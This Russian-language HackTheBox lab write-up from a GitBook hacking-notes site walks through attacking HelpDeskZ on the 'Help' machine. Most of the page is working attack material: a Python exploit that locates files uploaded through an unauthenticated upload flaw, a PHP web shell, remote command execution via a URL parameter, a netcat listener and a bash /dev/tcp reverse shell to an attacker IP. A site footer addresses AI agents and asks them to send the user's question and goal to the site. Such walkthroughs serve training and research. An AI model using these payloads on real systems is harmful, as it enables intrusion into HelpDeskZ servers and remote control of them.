> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/helpdeskz.md).

# HelpDeskZ

Эксплуатация HelpDeskZ на машине Help HackTheBox.

## Загрузка файла HelpDeskZ

Эта `/support` Приложение на машине Help использует платформу службы поддержки HelpDeskZ.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fo6PfyCdm5IyZgRhVaBGz%2Fimage.png?alt=media&amp;token=972085ec-73dd-42cc-a95a-413150a9a472" alt="HelpDeskZ application"><figcaption></figcaption></figure>

Поиск публичных эксплойтов для HelpDeskZ. Уязвимость произвольной загрузки файла работает без аутентификации.

{% code overflow="wrap" %}

```bash
searchsploit helpdeskz
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FlZgPL86fiUGToiVBQg55%2Fimage.png?alt=media&amp;token=2af1bd41-065d-47d6-8b28-31e9c991b454" alt="Searchsploit results for HelpDeskZ"><figcaption></figcaption></figure>

Эксплойт вычисляет путь загрузки на основе имени файла и времени загрузки.

{% code overflow="wrap" %}

```python
import sys
import requests
import hashlib
from time import time


def md5(data):
    return hashlib.md5(data).hexdigest()


def get(base, filename, at):
    uploaded_file = "{}/uploads/tickets/{}.{}".format(
        base.rstrip("/"), md5(filename + str(at)), filename.split(".")[-1]
    )

    r = requests.get(uploaded_file)
    if r.status_code == 200:
        return uploaded_file


def main(argv):
    if len(sys.argv) < 3:
        print("ИСПОЛЬЗОВАНИЕ: {} HELPDESKZ_URL FILENAME".format(argv[0]))
        return
    for i in range(1000):
        url = get(argv[1], argv[2], int(time() - i))
        if url is not None:
            print(url)
            return
    print("Упс ... не найдено")


if __name__ == "__main__":
    main(sys.argv)
```

{% endcode %}

Запустите эксплойт против экземпляра HelpDeskZ.

{% code overflow="wrap" %}

```bash
python2 exploit.py http://help.htb/support/ cmd.php
```

{% endcode %}

Загрузите минимальную PHP-веб-оболочку как `cmd.php`.

{% code overflow="wrap" %}

```php
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJ5JxGt1CqaUtrjF10xwc%2Fimage.png?alt=media&amp;token=bed6809b-44f7-4d3e-83cf-54f7309dd8f7" alt="HelpDeskZ upload exploit"><figcaption></figcaption></figure>

Эксплойт возвращает путь к загруженному файлу.

* [Загруженная веб-оболочка](http://help.htb/support/uploads/tickets/570cb591d88c7ef87a44cae4f86e3c4d.php)

Подтвердите удалённое выполнение команд.

{% code overflow="wrap" %}

```bash
http://help.htb/support/uploads/tickets/570cb591d88c7ef87a44cae4f86e3c4d.php?cmd=id
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FUIHFCDozkPZZtnYI1aY2%2Fimage.png?alt=media&amp;token=8fea7b95-74bd-4dd7-91d8-e33580e49e9c" alt="Remote command execution through the web shell"><figcaption></figcaption></figure>

Прочитайте флаг пользователя.

{% code overflow="wrap" %}

```bash
?cmd=cat /home/help/user.txt
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Frv1bFn0Mvb1n9uiNZtxx%2Fimage.png?alt=media&amp;token=38591be5-e8bd-43f4-aaff-6a1716a3ba01" alt="User flag through the web shell"><figcaption></figcaption></figure>

Запустите прослушиватель для обратной оболочки.

{% code overflow="wrap" %}

```bash
nc -nvlp 443
```

{% endcode %}

Выполните следующую команду через веб-оболочку.

{% code overflow="wrap" %}

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.15.2/443 0>%261"
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FteERGhti3QwsbE8iv7st%2Fimage.png?alt=media&amp;token=85124eec-4a00-458f-a744-5bd4aa051825" alt="Reverse shell from the Help machine"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/cms/helpdeskz.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
